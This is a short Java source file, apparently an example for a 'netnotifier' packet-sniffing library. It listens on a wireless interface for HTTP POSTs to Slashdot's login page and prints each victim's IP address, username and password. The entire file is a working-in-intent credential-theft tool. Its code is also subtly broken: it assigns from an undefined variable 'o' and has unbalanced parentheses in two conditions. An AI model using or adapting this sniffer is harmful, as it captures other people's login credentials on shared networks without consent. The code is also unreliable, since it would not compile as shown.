// super simple app that sniffs slashdot passwords
//

import netnotifier.*;

class SlashdotSniff
{
	public static void main(String[] args)
	{
		NetNotifier notifier=new NetNotifier();
		notifier.subscribe(HTTPPost.class,new SlashdotSniff(),"gotPost");
		notifier.startSniffer("ath0");
	}

	public void gotPost(Object object)
	{
		// upcast the object so we can access the fields
		HTTPPost post;
		if(object instanceof HTTPPost)post=o;
		else return;

		if(!post.host.equals("slashdot.org")return;
		if(!post.path.equals("/login.pl")return;

		System.out.print(post.clientIP+": "+
			post.postData.get("unickname")+" "+
			post.postData.get("upasswd"));
	}
}
